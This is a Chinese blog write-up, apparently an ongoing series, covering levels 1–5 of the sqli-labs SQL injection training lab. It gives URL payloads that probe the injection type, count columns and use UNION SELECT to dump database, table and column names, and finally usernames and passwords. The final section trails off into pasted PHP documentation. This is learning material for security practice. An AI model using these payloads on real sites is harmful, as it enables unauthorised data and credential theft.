sqli-labs(持续更新)

目录

les-1 GET型 单引号字符型注入

less-2 GET型 整数型 注入

less-3 GET型 单引号变形字符

less-4 GET型 双引号注入

less-5 GET型 单引号字符型注入 双注入


les-1 GET型 单引号字符型注入

判断数字 还是 字符型

首先猜测是数字型还是字符型,

# 命令
/?id=1 and 1=1 --+ #数字型
/?id=1' and 1=1 --+ #字符型

如图发现字符型时页面出现变化,被当作sql语句执行故为字符型

数字型时

可以对比两张图篇无变化

字符型时

 

 

此时所输入的语句被当作sql语句执行

判断字段数

此时该判断注入点的字段数

# 命令
/?id=1' and orde by 4 --+
# 原理:当探测的字段数大于数据库已有的字段数时会报错

 如图

 当字段数探测的值大于,表内字段时,报错提示未知字段

爆破数据库

通过union联合注入,爆出数据库

# 命令
/?id=-1' union select 1,2,database() --+

 

 源码

 当爆破数据库名时,

$id就是我们注入的参数故
$id = 
$sql="SELECT * FROM users WHERE id='-1' union select 1,2,database() --+' LIMIT 0,1";
# 此时可以理解为
# '-1' 被数据库执行
# union 联合语句被数据库执行
# --+后面的的内容被全部注释掉

爆破数据库表名

# 命令
/?id=-1'  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 爆破字段名

# 命令
?id=-1'  union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 爆破密码,用户

/?id=-1'  union select 1,2,group_concat(username,0x7e,password,0x7e) from security.users --+

less-2 GET型 整数型 注入

判断数字 还是字符型

还是同less1一样

# 命令
/?id=1 and 1=1 --+ #数字型
/?id=1' and 1=1 --+ #字符型

源码

# 原理
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 在数据库中整型,可以不加引号('1')  也可以正确的的识别

 爆破字段数

# 命令
/?id=1 and orde by 4 --+
# 原理:当探测的字段数大于数据库已有的字段数时会报错

后面的爆破数据库,表名,字段名等都同less-1相同

唯一区别 不需要带单引号

 

less-3 GET型 单引号变形字符

判断注入点

就是类似less-1和less-2的判断数字还是字符型

分析源码

 

# 变形添加了一个括号,在逃逸单引号时,同时把括号逃逸即可
# 输入参数后命令如下
$id = 1') order by 3  --+
$sql="SELECT * FROM users WHERE id=('1') order by 3  --+') LIMIT 0,1";
# ('1')正常执行  order by 正常执行   --+ 后面的内容被注释掉

判断确定注入点后

使用union联合注入同less-1相同的注入方式,主要改变的还时注入点的变化

less-4 GET型 双引号注入

判断注入点

还是先分析一下源码

如何将双引号和括号逃逸出来思考一下

# 命令参数
/Less-4/?id=1") order by 4 --+
# 当$id = 1") order by 4 --+
# 执行的sql语句:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=("1") order by 4 --+") LIMIT 0,1";
# 成功将sql双引号和小括号逃逸出来

确定注入点后

使用union联合注入同less-1相同的注入方式

less-5 GET型 单引号字符型注入 双注入

判断注入点

首先进行源码分析

mysql_query() 发送一个唯一的查询(多个查询 不支持)到当前 服务器上与 指定的 link_identifier.
参数 ¶
query
SQL 查询
查询字符串不应以分号结尾。 查询中的数据应 正确转义 。
link_identifier
MySQL 连接。 如果 未指定链接标识符,最后一个链接由 mysql_connect() 是假定的。 如果没有找到这样的链接,它 将尝试创建一个,就好像 mysql_connect() 已被调用 没有论据。 如果未找到或建立连接,则 E_WARNING产生电平错误。 
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值